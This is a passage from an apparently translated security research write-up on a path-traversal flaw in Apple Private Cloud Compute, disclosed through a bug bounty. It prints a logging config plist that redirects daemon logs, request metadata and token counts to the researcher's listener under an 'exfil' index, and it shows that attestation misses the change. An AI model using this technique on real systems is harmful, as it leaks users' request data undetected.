0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/var/db/prcos/splunkloggingd/config-main.plist</span></code><span leaf="">。一旦该文件存在，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">launchd</span></code><span leaf="">就启动 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">splunkloggingd</span></code><span leaf="">并将其指向文件所指向的任何位置。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我的第二个遍历条目向该文件写入我选择的配置。以下是我认为最关键的字段，省略了一些键：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">&lt;</span><span style="color: rgb(34, 134, 58);"><span leaf="">key</span></span><span leaf="">&gt;Server&lt;/</span><span style="color: rgb(34, 134, 58);"><span leaf="">key</span></span><span leaf="">&gt;     &lt;</span><span style="color: rgb(34, 134, 58);"><span leaf="">string</span></span><span leaf="">&gt;<a href="http://192.168.64.1:8088" target="_blank">http://192.168.64.1:8088</a>&lt;/</span><span style="color: rgb(34, 134, 58);"><span leaf="">string</span></span><span leaf="">&gt;</span><br/><span leaf="">&lt;</span><span style="color: rgb(34, 134, 58);"><span leaf="">key</span></span><span leaf="">&gt;Index&lt;/</span><span style="color: rgb(34, 134, 58);"><span leaf="">key</span></span><span leaf="">&gt;      &lt;</span><span style="color: rgb(34, 134, 58);"><span leaf="">string</span></span><span leaf="">&gt;exfil&lt;/</span><span style="color: rgb(34, 134, 58);"><span leaf="">string</span></span><span leaf="">&gt;</span><br/><span leaf="">&lt;</span><span style="color: rgb(34, 134, 58);"><span leaf="">key</span></span><span leaf="">&gt;Predicates&lt;/</span><span style="color: rgb(34, 134, 58);"><span leaf="">key</span></span><span leaf="">&gt;</span><br/><span leaf="">&lt;</span><span style="color: rgb(34, 134, 58);"><span leaf="">array</span></span><span leaf="">&gt;</span><br/><span leaf="">  &lt;</span><span style="color: rgb(34, 134, 58);"><span leaf="">string</span></span><span leaf="">&gt;subsystem == &#34;com.apple.cloudos.cloudboard&#34;&lt;/</span><span style="color: rgb(34, 134, 58);"><span leaf="">string</span></span><span leaf="">&gt;</span><br/><span leaf="">  &lt;</span><span style="color: rgb(34, 134, 58);"><span leaf="">string</span></span><span leaf="">&gt;subsystem == &#34;com.apple.cloudos&#34;&lt;/</span><span style="color: rgb(34, 134, 58);"><span leaf="">string</span></span><span leaf="">&gt;</span><br/><span leaf="">  &lt;</span><span style="color: rgb(34, 134, 58);"><span leaf="">string</span></span><span leaf="">&gt;subsystem == &#34;com.apple.darwininit&#34;&lt;/</span><span style="color: rgb(34, 134, 58);"><span leaf="">string</span></span><span leaf="">&gt;</span><br/><span leaf="">&lt;/</span><span style="color: rgb(34, 134, 58);"><span leaf="">array</span></span><span leaf="">&gt;</span><br/><span leaf="">&lt;</span><span style="color: rgb(34, 134, 58);"><span leaf="">key</span></span><span leaf="">&gt;Level&lt;/</span><span style="color: rgb(34, 134, 58);"><span leaf="">key</span></span><span leaf="">&gt;      &lt;</span><span style="color: rgb(34, 134, 58);"><span leaf="">string</span></span><span leaf="">&gt;Debug&lt;/</span><span style="color: rgb(34, 134, 58);"><span leaf="">string</span></span><span leaf="">&gt;</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在我的下一次迭代中，启动完成后的几秒钟内，我的监听器就收到了约 785 KB 的 CloudBoard 守护进程状态、作业事件和节点遥测数据，此后持续不断地收到信息流。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">当我开始在节点上激活 AI 推理时，事情变得更有趣。我驱动了一个推理请求通过它，重定向的流开始携带来自 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PCCAgentApp</span></code><span leaf="">发送方的逐请求元数据，即其 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PlaintextMetadata</span></code><span leaf="">结构的关键字段：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">bundleID:             &#34;local-cloudboard-client&#34;</span><br/><span leaf="">workloadType:         &#34;tie-vre-cli&#34;</span><br/><span leaf="">requestID:            CAFC3ED5-…-363C47FB9B64</span><br/><span leaf="">automatedDeviceGroup: &#34;local-test-device&#34;</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这些字段在节点空闲时不存在，只在处理请求时出现。跨三个请求，它们关联成了干净的分请求聚类，每个都有自己的请求 ID 和自己的块大小。在 Apple 的源码中，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">bundleID</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">featureID</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">workloadType</span></code><span leaf="">是生产环境中的请求路由、访问控制和速率限制字段。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">requestID</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">automatedDeviceGroup</span></code><span leaf="">是分请求关联和设备分组标识符。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CloudBoard</span></code><span leaf="">将渲染后的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PlaintextMetadata</span></code><span leaf="">描述标记为&#34;不得公开记录&#34;的内容，这进一步增强了我关于影响的主张。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">然后我扩大了集合，纳入 Trusted Inference Engine 的发送方，同一通道交出了 token 计数。以下是两个不同长度提示产生下列数字的示例：</span></p><table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">指标</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">&#34;Hi&#34;</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">&#34;Explain quantum computing…&#34;</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">input tokens</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">2</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">37</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">output tokens</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">100</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">100</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">draft output tokens</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">61</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">73</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">first-token latency</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">843 ms</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">1830 ms</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">输入计数跟随提示长度变化，这证实了该指标测量的是分词。还有更多内容，例如逐 token 计时、揭示投机解码的 draft-token 计数以及模型身份。所有这些都是有趣的观察，使 PCC 暴露于侧信道攻击的种种可能。</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><strong><span leaf="">证明缺口</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我在同一实例的三次启动中运行了一次受 nonce 控制的比较。我使用了两个来自无遍历条目的对照 tar 的干净启动，以及一个来自相同包外加遍历条目的被投毒启动。我事先确认了两个 tar 之间的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.cxbd</span></code><span leaf="">包内容逐字节相同，然后对证明包做了 diff。</span></p><table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">证明字段</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">干净 vs 被投毒</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原因</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">apTicket</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">相同</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">不变量</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">SecureConfig 条目和摘要</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">相同</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">不变量</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">cryptex 元数据和条目标志</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">相同</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">不变量</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">appData</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">相同</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">不变量</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Image4 清单，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">sepAttestation</span></code></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">不同</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">逐启动 nonce，在干净 vs 干净对照中模式相同</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">keyExpiration</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">不同</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">逐启动时间戳</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">可写数据卷状态</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">不同</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">不被证明链测量</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Apple 自己的验证器 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">pccvre attestation verify</span></code><span leaf="">在我尝试的每个层面上都以相同方式对待两个包。看来 PCC 的证明测量的是已安装的软件。那些在运行时驱动守护进程行为的可写数据卷文件似乎不属于验证过程的一部分。证明证明的是安装了哪些软件，而非节点上各种配置文件是否完整。在我能检查的每个与证明相关的字段中，被投毒节点在验证过程中与干净节点无法区分。</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><strong><span leaf="">为何现在这很重要</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Private Cloud Compute 作为 Apple Intelligence 功能的核心组件正变得日益重要。在 2026 年 6 月的 WWDC 上，Apple 推出了一款重建的能力更强的助手 Siri AI，作为下一代 Apple Intelligence 的一部分，测试版计划于 2026 年晚些时候推出。Apple 的公开资料称，Apple Intelligence 较大型的服务器端模型运行在 Private Cloud Compute 中，Apple 将其描述为将 Apple 设备的安全与隐私扩展到云端。</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><strong><span leaf="">披露</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">从核心上看，这是一个存在了三十年之久的漏洞类别，与 Zip Slip、CVE-2007-4559 和 CWE-22 属于同一类，但这恰恰表明，保护整个推理流水线和环境与保护模型本身同样重要。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我通过负责任披露向 Apple 报告了 CVE-2026-20685。所有工作都在 Apple 的 Virtual Research Environment 内部完成——这是 Apple 为 PCC 安全研究提供的官方工具，没有对生产基础设施进行任何测试。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Apple 将该问题评级为信息泄露（CVSS 6.5，向量 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</span></code><span leaf="">），并在 PCC 5E290.3 及后续版本中予以解决。Apple 验证了该报告，并在 Apple Security Bounty 计划下认可了它，授予 </span><strong><span leaf="">$150,000 奖金</span></strong><span leaf="">。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">与 Apple 的产品安全团队合作是一种真正的乐趣。他们从一开始就认真对待这份报告，并直接参与技术细节的讨论。我要感谢他们，也感谢 Apple 构建了一个既服务于研究人员又服务于其优秀产品的研究环境。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">Drinor Selmanaj</span></em><em><span leaf="">是 Sentry 的创始人兼 CTO，也是 NYU Tandon 工程学院网络安全专业的硕士生。</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, 